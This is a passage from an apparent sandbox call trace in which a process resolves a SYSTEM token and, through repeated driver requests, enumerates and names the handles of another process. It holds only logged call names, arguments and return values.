Process=0xfffff88004f09558) returned 0x0 [0103.995] PsAcquireProcessExitSynchronization () returned 0x0 [0103.995] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0) [0103.995] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032199e0, HandleInformation=0x0) returned 0x0 [0103.995] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.995] PsReleaseProcessExitSynchronization () returned 0x2 [0103.995] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0103.995] ObQueryNameString (in: Object=0xfffffa80032199e0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.995] ObfDereferenceObject (Object=0xfffffa80032199e0) returned 0x11 [0103.996] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.996] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.996] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0xc0 [0103.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.996] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800305ab30, HandleInformation=0x0) returned 0x0 [0103.996] ObOpenObjectByPointer (in: Object=0xfffffa800305ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0103.996] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x86 [0103.996] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa80021bc440 | out: TokenHandle=0xfffffa80021bc440*=0xc8) returned 0x0 [0103.996] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0103.996] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.996] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.996] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.997] CloseHandle (hObject=0xc8) returned 1 [0103.998] CloseHandle (hObject=0xc0) returned 1 [0103.998] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.998] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.998] PsAcquireProcessExitSynchronization () returned 0x0 [0103.998] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0103.998] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030bf6c0, HandleInformation=0x0) returned 0x0 [0103.998] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.998] PsReleaseProcessExitSynchronization () returned 0x2 [0103.998] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0103.998] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.998] ObfDereferenceObject (Object=0xfffffa80030bf6c0) returned 0x1 [0103.998] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.998] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.998] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.998] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.998] PsAcquireProcessExitSynchronization () returned 0x0 [0103.998] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0103.998] ObReferenceObjectByHandle (in: Handle=0x6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030d0d00, HandleInformation=0x0) returned 0x0 [0103.998] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.998] PsReleaseProcessExitSynchronization () returned 0x2 [0103.998] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0103.998] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.998] ObfDereferenceObject (Object=0xfffffa80030d0d00) returned 0x1 [0103.998] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.999] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.999] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0103.999] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.999] PsAcquireProcessExitSynchronization () returned 0x0 [0103.999] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0103.999] ObReferenceObjectByHandle (in: Handle=0x280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030cbf20, HandleInformation=0x0) returned 0x0 [0103.999] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.999] PsReleaseProcessExitSynchronization () returned 0x2 [0103.999] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0103.999] ObQueryNameString (in: Object=0xfffffa80030cbf20, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.999] ObfDereferenceObject (Object=0xfffffa80030cbf20) returned 0x1 [0103.999] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.999] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.999] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0103.999] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.999] PsAcquireProcessExitSynchronization () returned 0x0 [0103.999] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0103.999] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030cbc80, HandleInformation=0x0) returned 0x0 [0103.999] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.999] PsReleaseProcessExitSynchronization () returned 0x2 [0103.999] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0103.999] ObQueryNameString (in: Object=0xfffffa80030cbc80, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.000] ObfDereferenceObject (Object=0xfffffa80030cbc80) returned 0x2 [0104.000] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.000] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.000] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.000] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0104.000] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.000] PsAcquireProcessExitSynchronization () returned 0x0 [0104.000] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.000] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030cbb30, HandleInformation=0x0) returned 0x0 [0104.000] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.000] PsReleaseProcessExitSynchronization () returned 0x2 [0104.000] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.000] ObQueryNameString (in: Object=0xfffffa80030cbb30, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.000] ObfDereferenceObject (Object=0xfffffa80030cbb30) returned 0x1 [0104.000] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.000] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.000] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.000] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.000] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.000] PsAcquireProcessExitSynchronization () returned 0x0 [0104.000] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.000] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030d1230, HandleInformation=0x0) returned 0x0 [0104.000] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.000] PsReleaseProcessExitSynchronization () returned 0x2 [0104.000] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.000] ObQueryNameString (in: Object=0xfffffa80030d1230, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.000] ObfDereferenceObject (Object=0xfffffa80030d1230) returned 0x1 [0104.000] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.001] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.001] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.001] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.001] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.001] PsAcquireProcessExitSynchronization () returned 0x0 [0104.001] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.001] ObReferenceObjectByHandle (in: Handle=0x428, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.001] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.001] PsReleaseProcessExitSynchronization () returned 0x2 [0104.001] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.001] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.001] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.001] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.001] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.001] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.001] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0104.001] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.001] PsAcquireProcessExitSynchronization () returned 0x0 [0104.001] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.001] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0104.001] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.001] PsReleaseProcessExitSynchronization () returned 0x2 [0104.001] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.001] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.001] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0104.001] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.002] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.002] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0104.002] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.002] PsAcquireProcessExitSynchronization () returned 0x0 [0104.002] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.002] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004a98830, HandleInformation=0x0) returned 0x0 [0104.002] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.002] PsReleaseProcessExitSynchronization () returned 0x2 [0104.002] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.002] ObQueryNameString (in: Object=0xfffff8a004a98830, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.002] ObfDereferenceObject (Object=0xfffff8a004a98830) returned 0x2 [0104.002] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.002] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.002] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0104.002] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.002] PsAcquireProcessExitSynchronization () returned 0x0 [0104.002] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.002] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800312fbb0, HandleInformation=0x0) returned 0x0 [0104.002] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.002] PsReleaseProcessExitSynchronization () returned 0x2 [0104.002] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.002] ObQueryNameString (in: Object=0xfffffa800312fbb0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.002] ObfDereferenceObject (Object=0xfffffa800312fbb0) returned 0x11 [0104.002] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.003] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.003] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.003] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.003] PsAcquireProcessExitSynchronization () returned 0x0 [0104.003] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.003] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.003] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.003] PsReleaseProcessExitSynchronization () returned 0x2 [0104.003] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.003] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.003] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.003] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.003] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.003] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.003] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.003] PsAcquireProcessExitSynchronization () returned 0x0 [0104.003] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.003] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.003] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.003] PsReleaseProcessExitSynchronization () returned 0x2 [0104.003] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.003] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.003] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.003] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.003] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.003] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.003] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.004] PsAcquireProcessExitSynchronization () returned 0x0 [0104.004] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.004] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.004] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.004] PsReleaseProcessExitSynchronization () returned 0x2 [0104.004] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.004] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.004] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.004] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.004] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.004] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0104.004] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.004] PsAcquireProcessExitSynchronization () returned 0x0 [0104.004] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, 